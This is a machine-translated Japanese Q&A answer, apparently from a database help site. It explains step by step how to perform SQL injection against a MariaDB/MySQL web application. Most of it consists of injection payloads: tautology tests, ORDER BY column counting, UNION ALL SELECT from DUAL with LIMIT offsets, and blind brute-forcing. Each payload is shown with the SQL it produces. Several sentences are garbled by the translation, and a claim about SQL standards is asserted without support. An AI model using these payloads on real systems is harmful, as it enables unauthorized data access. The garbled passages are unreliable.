sql >> データベース >  >> RDS >> Mysql

MariaDbSQLインジェクション

    では、楽しんでみましょう。

    エラーメッセージを見ると

    アプリケーションのクエリとコードは、多かれ少なかれこの疑似賢明な@oに似ていると思います。 実際にはMySQLユーザー変数です。

    SELECT
     *
    FROM
     DUMMY_TABLE
    WHERE
     DUMMY_TABLE.o = '",@o,"'
    LIMIT 10 
    

    SQLフィドルスペース を使用します SQLインジェクションテストをシミュレートし、他のテーブルへのアクセスを可能にします。

    1' OR 1 = 1#を使用してインジェクションをテストできます または1' OR 1 = 1-- 1を使用すると、両方が機能し、同じ結果が得られるはずです。 これは、MariaDB自動が他のデータベースの型をキャストしているため、より厳密なバージョンの1' OR '1' = '1#を使用する必要がある場合があるためです。

    どちらが生成する必要があります

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 
    

    または

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 
    

    次に、アプリケーションにエラーが表示されるため、ORDER BY 1を使用できます。 選択されている列の数を確認し、エラーが発生するまで数を増やします。

    エラー:ER_BAD_FIELD_ERROR:'order句'の不明な列'2'

    注入する

    1' ORDER BY 1# または1' ORDER BY 1--

    つまり、結果セットの最初の列で並べ替えるしない 1を並べ替える 文字通り。

    生成する

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 
    

    または

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 
    

    列がわかっている場合は、UNIONを使用できます 他のテーブルに入る。 NULLを使用する すべての列が必要ない場合。

    注射

    1' UNION ALL SELECT NULL FROM DUAL#

    DUALに注意してください は、MariaDB、MySQL、およびOracleの「仮想」の存在しないテーブルです。この「テーブル」をクエリできる場合は、技術的に他のテーブルにアクセスすることもできます。

    生成されたSQL

    SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 
    

    また、Webページが1つのレコードが常に表示される「詳細」ページとして設計されている場合は、LIMIT 1, 1を追加する必要があります。 あなたの注射で。

    Webアプリケーションにエラーが表示されない場合は、ブラインドSQLインジェクションを使用してブルートフォース攻撃を行い、アプリケーションがどのように機能するかを確認できるはずです。
    ?o=0のようなものも試してください 、?o=NULL または、最大INT値(符号付き)のような非常に高い数値?o=2147483647 または(署名なし)?o=4294967295 使用された列番号をブルートフォースしようとする前に、アプリケーションが見つからないレコードをどのように処理するかを理解します。IDが0である可能性は非常に低いためです。 またはINTのその高い数値 データ型。最後の数値が指定された場合、アプリケーションは動作を停止します。それでもこれらの高い数値のレコードを取得する場合は、BIGINTの最大値を使用してください。 代わりにデータ型。

    列1の場合、同じ結果ID o=1
    1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

    エラーが発生する可能性が高い列2の場合、エラーページまたはレコードが見つからなかったというメッセージが表示されます。
    または甘いHTTP404(見つかりません)エラーステータス。
    1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

    LIMITを使用するときに発生する可能性のある問題の1つ ORDER BYを使用せずに SQL標準ではSQLテーブル/結果セットが順序なしであると定義されているため、同じレコードを取得する可能性があります。 ORDER BYを使用せずに

    したがって、理想的にはORDER BY 1を使い続ける必要があります 総当たり攻撃で。

    1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
    

    そして

    1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
    

    データベースはORDER BY 1をサポートしています MySQL、MariaDB、SQL Server(MSSQL)、PostgreSQLで動作するので、最初に考えていたよりも優れています。

    また、ORDER BY 1 これはSQL99で削除されたSQL92機能でした。
    したがって、実際にはSQLデータベースはORDER BY 1を実行しないでください。 彼らがこの点でSQL標準に従うならば、annymore。

    SQL 92 BNF

     <sort specification list> ::=
          <sort specification> [ { <comma> <sort specification> }... ]
    
     <sort specification> ::=
          <sort key> [ <collate clause > ] [ <ordering specification> ]
    
    
     <sort key> ::=
            <column name>
          | <unsigned integer> # <- here it is 
    
     <ordering specification> ::= ASC | DESC
    

    vs SQL 1999 BNF

     <sort specification list> ::=
          <sort specification> [ { <comma> <sort specification> }... ]
    
     <sort specification> ::=
          <sort key> [ <collate clause > ] [ <ordering specification> ]
    
    
     <sort key> ::=
            <column name>
                            # <- missing
    
     <ordering specification> ::= ASC | DESC
    


    1. SQLiteクエリ結果をテキストエディタで自動的に開く

    2. SQL ServerのSelectステートメントで並べ替え(並べ替え)を使用する方法-SQL Server/TSQLチュートリアルパート109

    3. 重量によるMySQLの評価

    4. MySQLで当月の1日と当日のどちらかを選択するにはどうすればよいですか?